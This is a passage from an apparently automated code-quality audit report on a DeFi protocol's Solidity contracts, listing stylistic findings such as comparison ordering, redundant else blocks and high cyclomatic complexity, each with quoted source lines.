174: if (e.buybackAmount == 0 || e.buybackAmount > e.ercDebt) revert Errors.InvalidBuyback();
/// @audit put `0` on the left
188: if (e.ethFilled == 0) revert Errors.ExitShortPriceTooLow();
RedemptionFacet.sol (73, 235, 314, 353, 371):
/// @audit put `address(0)` on the left
73: if (redeemerAssetUser.SSTORE2Pointer != address(0)) revert Errors.ExistingProposedRedemptions();
/// @audit put `address(0)` on the left
235: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
/// @audit put `address(0)` on the left
314: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
/// @audit put `address(0)` on the left
353: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
/// @audit put `0` on the left
371: if (shortRecord.ercDebt == 0 && shortRecord.status == SR.FullyFilled) {
LibOracle.sol (60, 60, 76, 76, 76, 89, 125, 125, 125, 126, 126, 126, 134):
/// @audit put `0` on the left
60: if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
/// @audit put `0` on the left
60: if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
/// @audit put `0` on the left
76: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
76: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
76: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
89: if (twapPrice == 0) {
/// @audit put `0` on the left
125: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
125: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
125: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
126: || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
/// @audit put `0` on the left
126: || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
/// @audit put `0` on the left
126: || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
/// @audit put `0` on the left
134: if (twapPrice == 0) revert Errors.InvalidTwapPrice();
LibOrders.sol (371, 371, 501, 505, 677, 805):
/// @audit put `0` on the left
371: if (hintId == 0 || nextId == 0) {
/// @audit put `0` on the left
371: if (hintId == 0 || nextId == 0) {
/// @audit put `0` on the left
501: if (b.matchedAskId != 0) {
/// @audit put `0` on the left
505: if (b.matchedShortId != 0) {
/// @audit put `0` on the left
677: SR status = incomingShort.ercAmount == 0 ? SR.FullyFilled : SR.PartialFill;
/// @audit put `15 minutes` on the left
805: if (timeDiff >= 15 minutes) {
LibSRUtil.sol (131):
/// @audit put `0` on the left
131: if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();
UniswapOracleLibrary.sol (52):
/// @audit put `0` on the left
52: if (secondsAgo <= 0) revert Errors.InvalidTWAPSecondsAgo();
[33] Libraries should be defined in separate files
The libraries below should be defined in separate files, so that it’s easier for future projects to import them, and to avoid duplication later on if they need to be used elsewhere in the project.
UniswapOracleLibrary.sol (21):
21: library OracleLibrary {
[34] else
-block not required
One level of nesting can be removed by not having an else
block when the if
-block always jumps at the end. For example:
if (condition) {
body1...
return x;
} else {
body2...
}
can be changed to:
if (condition) {
body1...
return x;
}
body2...
There are 27 instances:
BidOrdersFacet.sol (106-112, 347-349):
106: if (incomingBid.price >= lowestSell.price && (lowestSell.orderType == O.LimitAsk || lowestSell.orderType == O.LimitShort)) {
107: // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
108: LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingBid, shortHintArray);
109: b.shortHintId = b.shortId = Asset.startingShortId;
110: b.oraclePrice = LibOracle.getPrice(asset);
111: return bidMatchAlgo(asset, incomingBid, orderHintArray, b);
112: } else {
347: if (noAsks || shortPriceLessThanAskPrice) {
348: return lowestShort;
349: } else {
BridgeRouterFacet.sol (173-176):
173: if (dethTotalNew >= dethTotal) {
174: // when yield is positive 1 deth = 1 eth
175: return amount;
176: } else {
RedemptionFacet.sol (38-40):
38: if (shortRecord.status == SR.Closed || shortRecord.ercDebt < minShortErc || proposer == shorter) {
39: return false;
40: } else {
LibBridgeRouter.sol (59-62, 65-68, 89-92, 95-98):
59: if (creditSteth < C.ROUNDING_ZERO) {
60: // Valid withdraw when no STETH credits
61: return amount;
62: } else {
65: if (creditSteth >= amount) {
66: VaultUser.bridgeCreditSteth -= amount;
67: return 0;
68: } else {
89: if (creditReth < C.ROUNDING_ZERO) {
90: // Valid withdraw when no RETH credits
91: return amount;
92: } else {
95: if (creditReth >= amount) {
96: VaultUser.bridgeCreditReth -= amount;
97: return 0;
98: } else {
LibOracle.sol (28-33, 48-50, 83-85, 98-100, 169-171):
28: if (oracle == baseOracle) {
29: // @dev multiply base oracle by 10**10 to give it 18 decimals of precision
30: uint256 basePriceInEth = basePrice > 0 ? uint256(basePrice * C.BASE_ORACLE_DECIMALS).inv() : 0;
31: basePriceInEth = baseOracleCircuitBreaker(protocolPrice, baseRoundID, basePrice, baseTimeStamp, basePriceInEth);
32: return basePriceInEth;
33: } else {
48: if (oracle == baseOracle) {
49: return twapCircuitBreaker();
50: } else {
83: if (invalidFetchData) {
84: return twapCircuitBreaker();
85: } else if (priceDeviation) {
98: if (chainlinkDiff <= twapDiff) {
99: return chainlinkPriceInEth;
100: } else {
169: if (LibOrders.getOffsetTime() - getTime(asset) < 15 minutes) {
170: return getPrice(asset);
171: } else {
LibOrders.sol (241-243, 243-245, 272-274, 274-276, 381-383, 383-385, 412-414, 421-423, 423-425, 765-768, 768-772, 836-838, 838-840):
241: if (check1 && check2) {
242: return C.EXACT;
243: } else if (!check1) {
243: } else if (!check1) {
244: return C.PREV;
245: } else if (!check2) {
272: if (check1 && check2) {
273: return C.EXACT;
274: } else if (!check1) {
274: } else if (!check1) {
275: return C.PREV;
276: } else if (!check2) {
381: if (direction == C.EXACT) {
382: return hintId;
383: } else if (direction == C.NEXT) {
383: } else if (direction == C.NEXT) {
384: return getOrderId(orders, asset, C.NEXT, nextId, incomingOrder.price, incomingOrder.orderType);
385: } else {
412: if (orderType == O.LimitAsk || orderType == O.LimitShort) {
413: return verifySellId(orders, asset, prevId, newPrice, nextId);
414: } else if (orderType == O.LimitBid) {
421: if (o == O.LimitBid || o == O.MarketBid) {
422: return O.LimitBid;
423: } else if (o == O.LimitAsk || o == O.MarketAsk) {
423: } else if (o == O.LimitAsk || o == O.MarketAsk) {
424: return O.LimitAsk;
425: } else if (o == O.LimitShort) {
765: if (isExactStartingShort) {
766: Asset.startingShortId = shortHintId;
767: return;
768: } else if (startingShortWithinOracleRange) {
768: } else if (startingShortWithinOracleRange) {
769: // @dev prevShortPrice >= oraclePrice
770: Asset.startingShortId = prevId;
771: return;
772: } else if (allShortUnderOraclePrice) {
836: if (hintOrderType == O.Cancelled || hintOrderType == O.Matched) {
837: continue;
838: } else if (order.creationTime == orderHint.creationTime) {
838: } else if (order.creationTime == orderHint.creationTime) {
839: return orderHint.hintId;
840: } else if (!anyOrderHintPrevMatched && order.prevOrderType == O.Matched) {
LibSRUtil.sol (59-64):
59: if (shorter == msg.sender) {
60: // If call comes from exitShort() or combineShorts() then always cancel
61: LibOrders.cancelShort(asset, shortOrderId);
62: assert(shortRecord.status != SR.PartialFill);
63: return true;
64: } else if (shortRecord.ercDebt < LibAsset.minShortErc(asset)) {
[35] High cyclomatic complexity
Consider breaking down these blocks into more manageable units, by splitting things into utility functions, by reducing nesting, and by using early returns.
There are 2 instances:
ExitShortFacet.sol (142-211):
142: function exitShort(
143: address asset,
144: uint8 id,
145: uint88 buybackAmount,
146: uint80 price,
147: uint16[] memory shortHintArray,
148: uint16